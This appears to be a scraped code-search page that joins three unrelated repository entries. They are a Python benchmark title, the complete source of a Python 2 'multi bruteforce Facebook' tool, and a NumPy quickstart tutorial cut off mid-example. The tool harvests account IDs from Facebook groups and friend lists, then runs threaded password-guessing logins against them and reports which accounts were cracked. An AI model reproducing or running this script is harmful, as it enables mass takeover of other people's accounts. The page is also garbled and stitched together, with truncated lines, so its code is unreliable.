7 skills found
lip234 / Python 313 BenchmarkTesting Python's Experimental JIT and GIL-free Implementation
queenxaz / Mbf1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 Raw Blame History from __future__ import print_function import platform,os def tampil (x): w = { 'm' : 31, 'h' : 32 , 'k' : 33 , 'b' : 34 , 'p' : 35 , 'c' : 36} for i in w: x = x.replace( '\r %s ' % i, '\033[ %s ;1m' % w[i]) x += '\033[0m' x = x.replace( '\r0' , '\033[0m' ) print (x) if platform.python_version().split( '.' )[ 0 ] != '2' : tampil( '\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x' % v().split( ' ' )[ 0 ] os.sys.exit() import cookielib,re,urllib2,urllib,threading try: import mechanize except ImportError : tampil( '\rm[!]SepertiNya Module \rcmechanize\rm belum di install...' ) os.sys.exit() def keluar (): simpan() tampil( '\rm[!]Keluar' ) os.sys.exit() log = 0 id_bteman = [] id_bgroup = [] fid_bteman = [] fid_bgroup = [] br = mechanize.Browser() br.set_handle_robots( False ) br.set_handle_equiv( True) br.set_handle_referer( True) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_redirect( True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) br.addheaders = [( 'User-Agent' , 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Versi def bacaData(): global fid_bgroup,fid_bteman try: fid_bgroup = open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'r' ).readlines() except : pass try: fid_bteman = open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'r' ).readlines() except : pass def inputD (x,v = 0 ): while 1 : try : a = raw_input ( '\x1b[32;1m %s \x1b[31;1m:\x1b[33;1m' % x) except : tampil( '\n\rm[!]Batal' ) keluar() if v: if a.upper() in v: break else: tampil( '\rm[!]Masukan Opsinya Bro...' ) continue else: if len(a) == 0 : tampil( '\rm[!]Masukan dengan benar' ) continue else: break return a def inputM (x,d): while 1 : try : i = int(inputD(x)) except : tampil( '\rm[!]Pilihan tidak ada' ) continue if i in d: break else: tampil( '\rm[!]Pilihan tidak ada' ) return i def simpan (): if len (id_bgroup) != 0 : tampil( '\rh[*]Menyimpan hasil dari group' ) try : open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'w' ).write( '\n' .join(id_bgroup)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgroup.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) if len (id_bteman) != 0 : tampil( '\rh[*]Menyimpan hasil daftar Teman...' ) try : open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'w' ).write( '\n' .join(id_bteman)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgteman.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) def buka(d): tampil( '\rh[*]Membuka \rp' + d) try: x = br.open(d) br._factory.is_html = True x = x.read() except : tampil( '\rm[!]Gagal membuka \rp' + d) keluar() if '<link rel="redirect" href="' in x: return buka(br.find_link().url) else: return x def login (): global log us = inputD( '[?]Email/HP' ) pa = inputD( '[?]Kata Sandi' ) tampil( '\rh[*]Sedang Login....' ) buka( 'https://m.facebook.com' ) br.select_form( nr = 0 ) br.form[ 'email' ] = us br.form[ 'pass' ] = pa br.submit() url = br.geturl() if 'save-device' in url or 'm_sess' in url: tampil( '\rh[*]Login Berhasil' ) buka( 'https://mobile.facebook.com/home.php' ) nama = br.find_link( url_regex = 'logout.php' ).text nama = re.findall( r ' \( (. * a ? ) \) ' ,nama)[ 0 ] tampil( '\rh[*]Selamat datang \rk %s \n\rh[*]Semoga ini adalah hari keberuntungan mu....' % nam log = 1 elif 'checkpoint' in url: tampil( '\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini' ) keluar() else: tampil( '\rm[!]Login Gagal' ) def saring_id_teman (r): for i in re.findall( r '/friends/hovercard/mbasic/ \? uid= (. *? ) &' ,r): id_bteman.append(i) tampil( '\rc==>\rb %s \rm' % i) def saring_id_group1 (d): for i in re.findall( r '<h3><a href="/ (. *? ) fref=pb' ,d): if i.find( 'profile.php' ) == - 1 : a = i.replace( '?' , '' ) else: a = i.replace( 'profile.php?id=' , '' ).replace( '&' , '' ) if a not in id_bgroup: tampil( '\rk==>\rc %s ' % a) id_bgroup.append(a) def saring_id_group0 (): global id_group while 1 : id_group = inputD( '[?]Id Group' ) tampil( '\rh[*]Mengecek Group....' ) a = buka( 'https://m.facebook.com/browse/group/members/?id=' + id_group + '&start=0&lis nama = ' ' .join(re.findall( r '<title> (. *? ) </title>' ,a)[ 0 ].split()[ 1 :]) try : next = br.find_link( url_regex = '/browse/group/members/' ).url break except : tampil( '\rm[!]Id yang anda masukan salah' ) continue tampil( '\rh[*]Mengambil Id dari group \rc %s ' % nama) saring_id_group1(a) return next def idgroup(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() next = saring_id_group0() while 1 : saring_id_group1(buka( next)) try : next = br.find_link( url_regex = '/browse/group/members/' ).url except : tampil( '\rm[!]Hanya Bisa Mengambil \rh %d id' % len (id_bgroup)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bgroup) else: return menu() def idteman(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() saring_id_teman(buka( 'https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasi try: next = br.find_link( url_regex = 'friends_center_main' ).url except : if len (id_teman) != 0 : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) else: tampil( '\rm[!]Batal' ) keluar() while 1 : saring_id_teman(buka( next)) try : next = br.find_link( url_regex = 'friends_center_main' ).url except : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) break simpan() i = inputD( '[?]Langsung wae ah yuu(y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bteman) else: return menu() class mt ( threading . Thread ): def __init__ (self,i,p): threading.Thread. __init__ ( self) self.id = i self.a = 3 self.p = p def update (self): return self.a, self.id def run(self): try: data = urllib2.urlopen(urllib2.Request( url = 'https://m.facebook.com/login.php' , data = urllib.urle except KeyboardInterrupt: os.sys.exit() except : self.a = 8 os.sys.exit() if 'm_sess' in data.url or 'save-device' in data.url: self.a = 1 elif 'checkpoint' in data.url: self.a = 2 else: self.a = 0 def crack (d): i = inputD( '[?]Pake Passwordlist/Manual (p/m)' ,[ 'P' , 'M' ]) if i.upper() == 'P' : while 1 : dir = inputD( '[?]Masukan alamat file' ) try: D = open( dir, 'r' ).readlines() except : tampil( '\rm[!]Gagal membuka \rk %s ' % dir) continue break tampil( '\rh[*]Memulai crack dengan \rk %d password' % len(D)) for i in D: i = i.replace( '\n' , '' ) if len(i) != 0 : crack0(d,i, 0 ) i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(d) else: return menu() else: return crack0(d,inputD( '[?]Sandi' ), 1 ) def crack0 (data,sandi,p): tampil( '\rh[*]MengCrack \rk %d Akun \rhdengan sandi \rm[\rk %s \rm]' % ( len(data),sandi)) print ( '\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m' , end= '' ) os.sys.stdout.flush() akun_jml = [] akun_sukses = [] akun_cekpoint = [] akun_error = [] akun_gagal = [] jml0,jml1 = 0 , 0 th = [] for i in data: i = i.replace( ' ' , '' ) if len (i) != 0 :th.append(mt(i,sandi)) for i in th: jml1 += 1 i.daemon = True try :i.start() except KeyboardInterrupt: exit() while 1 : try : for i in th: a = i.update() if a[ 0 ] != 3 and a[ 1 ] not in akun_jml: jml0 += 1 if a[ 0 ] == 2 : akun_cekpoint.append(a[ 1 ]) elif a[ 0 ] == 1 : akun_sukses.append(a[ 1 ]) elif a[ 0 ] == 0 : akun_gagal.append(a[ 1 ]) elif a[ 0 ] == 8 : akun_error.append(a[ 1 ]) print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m %0.2f%s \033[ os.sys.stdout.flush() akun_jml.append(a[ 1 ]) except KeyboardInterrupt: os.sys.exit() try : if threading.activeCount() == 1 : break except KeyboardInterrupt: keluar() print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ' ) if len (akun_sukses) != 0 : tampil( '\rh[*]Daftar akun sukses' ) for i in akun_sukses: tampil( '\rh==>\rk %s \rm[\rp %s \rm]' % (i,sandi)) tampil( '\rh[*]Jumlah akun berhasil\rp %d ' % len(akun_sukses)) tampil( '\rm[*]Jumlah akun gagal\rp %d ' % len(akun_gagal)) tampil( '\rk[*]Jumlah akun cekpoint\rp %d ' % len(akun_cekpoint)) tampil( '\rc[*]Jumlah akun error\rp %d ' % len(akun_error)) if p: i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(data) else: return menu() else: return 0 def lanjutT(): global fid_bteman if len (fid_bteman) != 0 : i = inputD( '[?]Riset Hasil Id Teman/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bteman) else: os.remove(os.sys.path[ 0 ] + '/MBFbteman.txt' ) fid_bteman = [] return 0 def lanjutG(): global fid_bgroup if len (fid_bgroup) != 0 : i = inputD( '[?]Riset Hasil Id Group/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bgroup) else: os.remove(os.sys.path[ 0 ] + '/MBFbgroup.txt' ) fid_bgroup = [] return 0 def menu(): tampil( '''\rh .-.-.. /+/++// /+/++// \rk* *\rh /+/++// \ / |/__// {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========. ['] /'|'\ \\ / \ \ ' \_ \_ \_ \rk*\rhDragonFly coly \rk########################################################### # \rb*MULTY BRUTEFORCE FACEBOOK*\rk # # \rhBY\rp panda07\rk# # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk# # \rhGitHub\rp https://github.com/zack007 \rk# # \rmDo Not Use This Tool For IllegaL Purpose \rk# ###########################################################''') tampil( '''\rk %s \n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n i = inputM( '[?]PILIH' ,[ 1 , 2 , 3 ]) if i == 1 : lanjutG() idgroup() elif i == 2 : lanjutT() idteman() elif i == 3 : keluar() bacaData() menu()
Aryia-Behroziuan / NumpyQuickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 